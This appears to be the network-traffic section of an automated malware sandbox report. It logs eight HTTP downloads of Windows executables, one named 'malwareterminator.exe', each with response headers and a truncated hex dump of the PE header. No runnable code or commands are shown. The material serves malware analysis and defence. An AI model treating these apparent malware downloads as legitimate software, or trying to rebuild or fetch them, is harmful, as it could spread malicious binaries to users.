Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 13 Jul 2024 05:07:04 GMTContent-Type: application/octet-streamContent-Length: 1743872Last-Modified: Tue, 09 Jul 2024 00:56:44 GMTConnection: keep-aliveETag: "668c8acc-1a9c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0b 00 ea 7e 8c 66 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 00 00 00 4e 19 00 00 98 1a 00 00 60 06 00 d0 14 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 60 21 00 00 04 00 00 22 19 1b 00 02 00 60 01 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 10 21 00 64 06 00 00 00 40 21 00 38 01 00 00 00 20 1a 00 74 46 00 00 00 00 00 00 00 00 00 00 00 50 21 00 24 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 11 1a 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 11 21 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 58 4d 19 00 00 10 00 00 00 4e 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 64 61 74 61 00 00 00 40 09 00 00 00 60 19 00 00 0a 00 00 00 52 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 e0 a9 00 00 00 70 19 00 00 aa 00 00 00 5c 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 70 64 61 74 61 00 00 74 46 00 00 00 20 1a 00 00 48 00 00 00 06 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 78 64 61 74 61 00 00 88 3b 00 00 00 70 1a 00 00 3c 00 00 00 4e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 62 73 73 00 00 00 00 d0 5e 06 00 00 b0 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 69 64 61 74 61 00 00 64 06 00 00 00 10 21 00 00 08 00 00 00 8a 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 52 54 00 00 00 00 68 00 00 00 00 20 21 00 00 02 00 00 00 92 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 10 00 00 00 00 30 21 00 00 02 00 00 00 94 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 38 01 00 00 00 40 21 00 00 02 00 00 00 96 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 24 03 00 00 00 50 21 00 00 04 00 00 00 98 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 13 Jul 2024 05:07:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKContent-Disposition: attachment; filename=malwareterminator.exeContent-Type: application/octet-streamContent-Length: 9044480Last-Modified: Tue, 09 Jul 2024 16:52:05 GMTCache-Control: no-cache, max-age=0Expires: Sat, 13 Jul 2024 05:07:08 GMTETag: "1720543925.858068-9044480-4009102778"Date: Sat, 13 Jul 2024 05:07:08 GMTServer: nginxConnection: keep-aliveX-Frame-Options: SAMEORIGINSet-Cookie: c50233950c3f39bd96d165eee1995d77=7d1ca6fd-988a-4c5d-8fa3-4819fb68e293.GnPbrHdIWIEVe5YevsRskVA_fvc; Expires=Mon, 12 Aug 2024 05:07:08 GMT; HttpOnly; Path=/Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 02 24 00 bc 30 00 00 fe 89 00 00 fa 08 00 c0 14 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 93 00 00 04 00 00 e0 48 8a 00 02 00 60 81 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 50 90 00 4e 00 00 00 00 60 90 00 58 14 00 00 00 a0 90 00 4c a9 01 00 00 00 86 00 2c 36 01 00 00 00 00 00 00 00 00 00 00 50 92 00 f8 1b 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 e5 85 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 94 64 90 00 58 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 ba 30 00 00 10 00 00 00 bc 30 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 60 60 2e 64 61 74 61 00 00 00 d0 35 05 00 00 d0 30 00 00 36 05 00 00 c0 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 e3 4f 00 00 10 36 00 00 e4 4f 00 00 f6 35 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 70 64 61 74 61 00 00 2c 36 01 00 00 00 86 00 00 38 01 00 00 da 85 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 78 64 61 74 61 00 00 50 0c 00 00 00 40 87 00 00 0e 00 00 00 12 87 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 62 73 73 00 00 00 00 40 f9 08 00 00 50 87 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 4e 00 00 00 00 50 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd.$0@pH` PN`XL,6P@(dX.text00```.data506
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 13 Jul 2024 05:07:10 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 13 Jul 2024 05:07:10 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 13 Jul 2024 05:07:11 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 13 Jul 2024 05:07:12 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 13 Jul 2024 05:07:13 GMTContent-Type: application/octet-streamContent-Length: 424960Last-Modified: Sun, 16 Jun 2024 06:41:45 GMTConnection: keep-aliveETag: "666e8929-67c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 